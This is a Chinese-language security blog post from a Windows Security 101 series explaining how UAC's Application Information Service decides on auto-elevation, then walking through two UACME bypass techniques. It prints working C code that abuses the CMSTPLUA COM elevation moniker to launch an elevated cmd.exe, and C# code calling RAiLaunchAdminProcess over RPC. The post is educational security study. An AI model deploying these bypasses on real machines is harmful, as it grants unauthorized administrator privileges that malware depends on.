iT邦幫忙

2023 iThome 鐵人賽

DAY 18
1
Security

Windows Security 101系列 第 18

[Day18] Bypass UAC

  • 分享至 

  • xImage
  •  

今天要介紹如何根據 UAC 的設計做到 Bypass UAC。
首先要大概了解 Application Information Service 的驗證有哪些。

Application Information Service (appinfo.dll)

根據這篇文章,Application Information Service 會經過不同的驗證決定要彈出視窗或是直接給予權限。

1. Auto Elevation

  • Call stack: RAiLaunchAdminProces→AiIsEXESafeToAutoApprove
  • 程式的 manifest.xml 檔案中的 autoElevate 是否為 true

https://ithelp.ithome.com.tw/upload/images/20231002/2012009887veNNHceq.png

  • Call stack: RAiLaunchAdminProces→AiIsEXESafeToAutoApprove→ bsearch( g_lpAutoApproveEXEList )
  • 程式在 auto elevating 白名單中

https://ithelp.ithome.com.tw/upload/images/20231002/20120098L0YYxV3mtT.png

2. Properly Signed

  • Call stack: RAiLaunchAdminProces→AiIsEXESafeToAutoApprove→AipIsValidAutoApprovalEXE
  • 為了防止竄改 manifest.xml 檔案中的 autoElevate,因此多驗證了 auto elevating 檔案是否有簽名

https://ithelp.ithome.com.tw/upload/images/20231002/20120098eUHu28MTr6.png

3. Executing from Trusted Directory

  • Call stack: RAiLaunchAdminProcess
  • 這邊會有一系列黑白名單路徑的檢查

Bypass UAC (UACME)

根據 UACME 這個集合幾乎所有 Bypass UAC 手法的專案。另外,在 elastic 的文章也分類出 Bypass UAC 有以下幾種模式:

https://ithelp.ithome.com.tw/upload/images/20231002/20120098qrs0d3H4Do.png
(ref: https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies)

除此之外,還包含了直接向 RPC server 發出請求。

以下舉兩個常見的例子來分享:

UACME - Abuse COM Interface

這個 PoC 看起來超簡單,而且惡意程式非常愛用。

#define T_CLSID_CMSTPLUA L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
#define T_IID_ICMLuaUtil L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"

VOID Method41_Test()
{
    HRESULT          r = E_FAIL;
    BOOL             bCond = FALSE;
    IID              xIID_ICMLuaUtil;
    CLSID            xCLSID_ICMLuaUtil;
    ICMLuaUtil      *CMLuaUtil = NULL;

    BIND_OPTS3       bop;
    WCHAR            szElevationMoniker[MAX_PATH];

    do {

        if (CLSIDFromString(T_CLSID_CMSTPLUA, &xCLSID_ICMLuaUtil) != NOERROR) {
            break;
        }
        if (IIDFromString(T_IID_ICMLuaUtil, &xIID_ICMLuaUtil) != S_OK) {
            break;
        }

        RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker));

        _strcpy(szElevationMoniker, L"Elevation:Administrator!new:");
        _strcat(szElevationMoniker, T_CLSID_CMSTPLUA);

        RtlSecureZeroMemory(&bop, sizeof(bop));
        bop.cbStruct = sizeof(bop);
        bop.dwClassContext = CLSCTX_LOCAL_SERVER;

        r = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_ICMLuaUtil, &CMLuaUtil);
        if (r != S_OK) {
            break;
        }

        r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, L"C:\\windows\\system32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW);

    } while (bCond);

    if (CMLuaUtil != NULL) {
        CMLuaUtil->lpVtbl->Release(CMLuaUtil);
    }

}

根據 這篇文章,這個 COM Interface {3E5FC7F9-9A51-4367-9063-A120244FBEC7}HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList 中,並且滿足 COM Elevation Moniker的條件,就可以使用這個 COM Interface 提供的函數,像是 ShellExecute 或 CreateProcess

https://ithelp.ithome.com.tw/upload/images/20231002/20120098t7MGaWrn4u.png

UACME - RPC RAiLaunchAdminProcess

根據 James Forshaw 的文章,他實作 RPC client 直接向 Application Information Service 的 RPC server 發出請求,並且執行 RAiLaunchAdminProcess。

static NtProcess LaunchAdminProcess(string executable, string cmdline, StartFlags flags, CreateProcessFlags create_flags, string desktop)
{
    StartAppinfoService();

    using (Client client = new Client())
    {
        client.Connect();
        create_flags |= CreateProcessFlags.UnicodeEnvironment;
        Struct_0 start_info = new Struct_0();
        int retval = client.RAiLaunchAdminProcess(executable, cmdline, (int)flags, (int)create_flags,
            @"c:\windows", desktop, start_info, new NdrUInt3264(GetDesktopWindow()),
            -1, out Struct_2 proc_info, out int elev_type);
        if (retval != 0)
        {
            throw new Win32Exception(retval);
        }

        using (var thread = NtThread.FromHandle(new IntPtr(proc_info.Member8.Value)))
        {
            return NtProcess.FromHandle(new IntPtr(proc_info.Member0.Value));
        }
    }
}

這個技巧也被收錄在 [UACME] 當中。(https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/appinfo/x64/appinfo64.c#L93)

Application Information Service 的 RPC server 在註冊時,使用的 RpcServerRegisterIfEx 沒有 security descriptor、security callback 或 authentication binding。

https://ithelp.ithome.com.tw/upload/images/20231002/20120098yq2BnxDQzG.png

下一篇開始要介紹的是 .NET 系列!

Reference


上一篇
[Day17] User Account Control (UAC)
下一篇
[Day19] .NET - PE Format
系列文
Windows Security 10130
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言